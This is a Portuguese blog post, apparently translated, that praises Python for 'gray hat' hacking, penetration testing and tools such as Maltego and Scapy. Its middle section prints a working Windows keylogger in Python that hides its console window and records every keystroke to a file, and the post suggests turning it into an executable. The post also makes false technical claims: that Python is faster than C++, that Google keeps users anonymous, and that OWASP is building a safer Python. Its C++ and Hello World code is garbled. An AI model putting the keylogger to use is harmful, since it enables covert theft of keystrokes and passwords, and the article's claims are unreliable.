Gray Hat Python - Então, dois anos atrás, eu estava fazendo minha pesquisa em linguagens de programação, comecei a ler sobre C, C ++, Assembly, Python e Ruby. Eu queria me tornar um especialista em segurança cibernética. Então, comecei a aprender o máximo que posso. Comecei com C, C ++ e C # sendo o básico e, depois de aprender e compilar muitos programas e vírus, finalmente comecei a aprender o Kali Linux. Para quem não sabe o que é o Kali Linux, é um sistema operacional para testes de penetração. Então, eu continuava meus estudos e o que vi foi que a maioria dos programas, vírus e cavalos de Troia foram compilados em Python, e sua base era Ruby.

Então, parei meus estudos por enquanto e comecei a aprender Python ou, para ser mais preciso, o Gray Hat Python e o tadaa … Foi extremamente fácil quando comparado ao C, C # ou a qualquer outro idioma que aprendi. Eu finalmente soube por que o Python era a linguagem mais usada e como ficou famosa.
Então, hoje eu estaria discutindo sobre como o Python se transformou no Gray Hat Python e por que ele é tão amplamente usado, que até o Google e o YouTube o usam em seu banco de dados para fornecer resultados de pesquisa tão precisos quanto possível.

Para começar, o Python é uma linguagem de programação de alto nível, o que significa que suas sintaxes são extremamente fáceis de ler, mesmo para iniciantes. Se você é novo na programação, essa seria a linguagem que eu sugeriria que você iniciasse. Deixe-me lhe dar um exemplo:

É assim que fica em C: -

#include

int main()
(
printf("Hello world\n");
return 0;
)

É assim que fica em Java: -

class HelloWorld
(
public static void main (String args())
(
System.out.println ("Hello World");
)
)


E é assim que parece no Python (v2.7)

print "Hello World"

Simples? Sim, ele é. Portanto, o Python não era apenas fácil de escrever e entender, mas também muito compacto. Então, você deve estar se perguntando como isso levou ao Gray Hat Python.

Cursos recomendados

  • Treinamento de roteamento IP
  • Curso de treinamento sobre hackers
  • Treinamento RMAN completo
  • Treinamento em programação Python

Python vs Gray Hat Python

Então, o que exatamente é o Gray Hat Python? Por que é tão diferente do nosso Python normal? O problema é que o Gray Hat Python não passa de programas escritos em Python por hackers, testadores de estresse de rede e engenheiros reversos para criar ou quebrar um programa. Mas o termo Gray Hat é usado porque não é exatamente um software benéfico ou de usuário. É usado para proteger ou criar um software que quebra a segurança.

Ele pode ser facilmente usado para testar as limitações de um ambiente seguro ou para entrar em um ambiente seguro. É isso que Gray Hat significa. E é muito mais fácil fazê-lo em Python do que em C, C ++ ou java. Assim, o nome Gray Hat Python. Poucos exemplos que consigo pensar são:

• Escrevendo key-loggers (para hackers e pentesters)
• Escrevendo scripts do shell de segurança (para administradores de rede)
• Escrevendo um IDS automatizado (sistema de detecção de intrusões para engenheiros de segurança)

Então, agora você sabe por que e como o Gray Hat Python é útil. Para elaborar isso, deixe-me dar alguns exemplos detalhados.
Você já deve ter ouvido falar do Google App Engine. O Google App Engine foi originalmente projetado em Python antes de ser transportado. O Google App é um exemplo adequado de um programa escrito em Python, porque permite a criação de aplicativos da Web usando sua rica coleção avançada de bibliotecas, ferramentas e estrutura.

Você já se perguntou por que é tão fácil pesquisar algo no Google? Na maioria das vezes, você obtém resultados de pesquisa com 80% de precisão. Isso ocorre porque o Python é extremamente flexível, trabalha em alta velocidade e os bancos de dados são muito mais compactos, apesar de armazenar um número considerável de informações. O Python é tão extensível que até o YouTube o usa para fins como visualização de vídeo, controle de modelos, administração de vídeo, acesso a dados canônicos e muito mais.

O Google possui rastreadores e aranhas que coletam dados assim que são carregados na Web, independentemente de onde ou quão seguros sejam. É preciso apenas uma inspiração, tempo e conhecimento adequados para reunir essas informações.

As pesquisas do Google foram baseadas anteriormente em Python, que mais tarde foi alterado para C ++ para otimização de velocidade, porque os rastreadores do Google rastreiam muitas páginas por segundo e cada um deles leva alguns minutos para rastrear com êxito. Atualmente, o Python é muito mais rápido que o C ++, mas esse não era o mesmo caso há algumas décadas.

Houve uma famosa citação citada pelo Google: -
"Python onde podemos, C ++ onde devemos."

Portanto, você deve estar se perguntando como isso pode ser usado para hackers, pentestes e segurança de rede. Eu peço desculpa mas não concordo. Se você pudesse criar um programa com precisão de 70% a 80% para fornecer resultados de pesquisa eficientes, provavelmente poderá criar um aplicativo que possa conectar sites, pesquisar com inteligência e criar o perfil de uma pessoa que possa ser usada por Black Hats individuais para fins maliciosos. Deixe as pessoas de lado, uma se for inteligente o suficiente, pode criar facilmente um aplicativo para a criação de um perfil de uma empresa, de toda a sua árvore, desde a raiz até o que você puder imaginar…

Coleta de informações via Maltego

Você pode estar pensando que estou exagerando um pouco. Não, eu não sou!

Pense em exemplos como Maltego. O Maltego é um software ou posso reformulá-lo melhor como aplicativo forense de código aberto, criado com o objetivo de coletar informações e criar perfil de pessoas, empresas e outras agências corporativas.

Basta inserir dados adequados no aplicativo, e outras coisas, como vincular e-mails, pessoas, grupo de pessoas e até determinar a infraestrutura da Internet, como domínios, nomes DNS, Netblocks e endereços IP, podem ser vinculados e interconectados usando essa inteligência de código aberto .

Para mais informações, visite para saber o que é o Maltego?

Portanto, se o acesso a "Informações Secretas" determina seu sucesso, o Maltego pode ajudá-lo a descobri-las. O Maltego é parcialmente escrito em Python e usa Java, o que também é uma ótima linguagem.

Há muito o que citar sobre segurança do Google. Para ser mais preciso, o Google é a maneira mais fácil de manter o anonimato na Web, não importa se você usa o navegador anônimo ou o www.duckduckgo.com no chrome. Porque, finalmente, tudo é atualizado na web. O ponto aqui é, não se trata de invulnerabilidade, é de ser absolutamente vulnerável. Não se pode se livrar completamente da Internet. Mas pode-se certamente tentar manter o menor número possível de informações na Web.

Python não é apenas uma linguagem, é uma linguagem de script. As linguagens de script permitem que você escreva, modifique suas próprias ferramentas, quando precisar de algo mais personalizado. Essas ferramentas de segurança de rede dependem muito da linguagem de script para extensibilidade. Por exemplo, vamos usar Scapy.

Scapy é puramente escrito em Python. É uma poderosa ferramenta de manipulação de pacotes interativos. Ele pode gerar pacotes falsos por si só, verificar redes e até mesmo cheirar pacotes na rede.

Encontre informações detalhadas sobre O que é Scapy?

Agora, esses são programas complexos escritos por programadores avançados. Vamos ver como é simples escrever um programa em Python que possa ser facilmente entendido por pessoas que possuem alguns conceitos básicos de programação.

Este é um keylogger escrito em Python: -

#!/usr/bin/Python
import pyHook
import Pythoncom
import win32gui
import win32console
log_file = "log_file.txt" #name of log file
window = win32console. GetConsoleWindow() #go to script window
win32gui.ShowWindow (window, 0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a") # (open log_file in append mode)
char = chr (event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)

proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
Pythoncom.PumpMessages() #get input

Então, isso é muito mais que fácil se você me perguntar. Acabei de adicionar os módulos pyhook, Pythoncom, win32gui e win32console, que você pode baixar facilmente no site sourceforge e mencionei os comentários usando a tag hash. Mas se eu tiver que escrever o mesmo programa em C ++, vamos ver o quão difícil isso pode ser.

Este é um programa escrito em C ++: -

 #include #include #include #include int main(int argc, char ** agrv)( using namepace std; /*Easier*/ char std::vector input_STRUCT = ("S", "T", "O"); char std::vector input_STRUCT_1 = ("P", ""); char std::vector input_STRUCT_2 = ("L", "O", "O", "K", "I", "N", "G"); char std::vector input_STRUCT_3 = ("", "F", "O", "R"); char std::vector input_STRUCT_4 = ("M", "A", "L", "W"); char std::vector input_STRUCT_5 = ("A", "R", "E"); ostream os("C:\users\keylogger.txt"); int i; for( i = 0; i <=2; i++)( os << input_STRUCT(i); for(;i <= 1000000 ;i++)( ) ) for( i=0; i<=1;i++)( os << input_STRING_1(i); for(;i <= 1000000 ;i++)( ) ) for(i=0; i<=6; i++) ( os << input_STRING_2 (i); for(; i <= 1000000 ; i++)( ) for(i=0; i<=3;i++)( os << input_STRING_3(i); for(; i <= 1000000 ;i++)( ) ) for(i=0; i<=3; i++)( os << input_STRING_4(i); for(;i <= 1000000 ; i++)( ) ) for(i=0; i<=2; i++)( os << input_STRING_5(i); for(;i <= 1000000 ; i++)( ) ) os.close(); istream is (" C:\users\keylogger.txt "); cout << is; return 0; ) 

Portanto, isso é muito grande em comparação com o Python. E se falamos de eficiência, o Python pode ser facilmente compilado em um executável sem nenhum esforço, usando o software py2exe. Considerando que, se eu falar sobre C ++, falando francamente, esse código é uma piada. Para escrever um logger de chaves adequado, é necessário escrever uma DLL que implemente o gancho WH_KEYBOARD. Além disso, esse código está longe de ser fácil para um iniciante entender.

Hacking de código aberto

Agora, isso cuida dos hackers da Black Hat, que, para ser mais preciso, são as pessoas que pretendem destruir, manipulam dados para suas próprias necessidades. Falando do ponto de vista da preocupação com a segurança, o Python também é útil para os hackers da White Hat que pretendem salvar a sociedade do ataque de hackers mal-intencionados. Se você deseja desenvolver uma carreira ou pelo menos deseja aprender Python para pesquisa de segurança, certamente pode se aprofundar no OWASP, BRO ou no Quick NIX Secure Script.

OWASP é um projeto de segurança de aplicativo da Web aberto. O OWASP tem como objetivo criar uma versão mais segura do Python, que facilita aos profissionais e desenvolvedores de segurança a criação de softwares menos propensos ao ataque de hackers. Está relacionado à análise da caixa preta, identificando e abordando problemas relacionados à segurança que podem afetar o intérprete interativo do Python.

O BRO é um programa de monitoramento de segurança e tráfego de rede, enquanto o Quick NIX é usado para fortalecer e proteger a propriedade de arquivos em tempo real.

Como estamos falando de segurança, vamos falar sobre um sistema operacional parcialmente baseado em Python. Python funciona muito bem com UNIX, LINUX e Debian. Um dos sistemas operacionais mais famosos era o Backtrack 5. Havia versões diferentes lançadas. Foi projetado especificamente para o PenTesting. Mais tarde, as pessoas da Offensive Security pensaram que o Backtrack precisava de uma reinicialização, porque a maioria das ferramentas não estava funcionando corretamente ou não era suportada.

Mais tarde, eles lançaram o Kali Linux, que era totalmente baseado no Debian. E a maior parte de sua estrutura está em Ruby ou Python. Ruby também é uma linguagem de script incrível. Mas eu preferiria a qualquer momento o Python a isso, porque o Python tem uma comunidade mais diversificada com o Linux e é mais direta e fácil de depurar. Embora o Ruby tenha muitos recursos e se adapte rapidamente ao ambiente circundante, pode ser difícil de depurar, difícil de ler e mais sofisticado que o Python.

O melhor exemplo seria como comparar Apple vs Linux ou Comparando iphone vs Android. A Apple é rica em recursos e é extremamente suave e mais inclinada para iniciantes. Enquanto o Linux / Android é mais fácil de usar, um pouco lento e às vezes pode ser uma dor de cabeça se você não souber como configurá-lo ou mantê-lo.

Existe até um livro baseado em Python Gray Hat Hacking de Justin Seitz. Ele lida especificamente com a automação de tarefas tediosas relacionadas à engenharia reversa e à segurança, projetando o seu próprio depurador, biblioteca e injeção de DLL, detectando tráfego seguro em uma sessão criptografada e usando o depurador de imunidade, Sulley e muito mais. É um livro incrível, não importa se você é iniciante ou especialista, sempre aprenderá algumas ou outras coisas toda vez que o ler.

Conclusão

Portanto, se você é iniciante, o Python seria a escolha certa para você começar como sua primeira linguagem de teste de segurança de programação.

Lembre-se de uma coisa no final, o Gray Hat Python não é apenas uma linguagem, é uma maneira de fazer as coisas de maneira adequada e rápida.

Fonte da primeira imagem: pixabay.com

Artigos relacionados:-

Aqui estão alguns artigos que ajudarão você a obter mais detalhes sobre o Gray Hat Python, basta acessar o link.

  1. Benefícios das ferramentas de segurança cibernética Você deve estar ciente de
  2. Carreiras em Python
  3. As 25 perguntas e respostas mais surpreendentes da entrevista em Python
  4. Quais são os benefícios e limitações do uso de Python?
  5. Python vs Node.js
  6. Guia para perguntas da entrevista sobre segurança cibernética
  7. Diferentes tipos de ferramentas para testes de segurança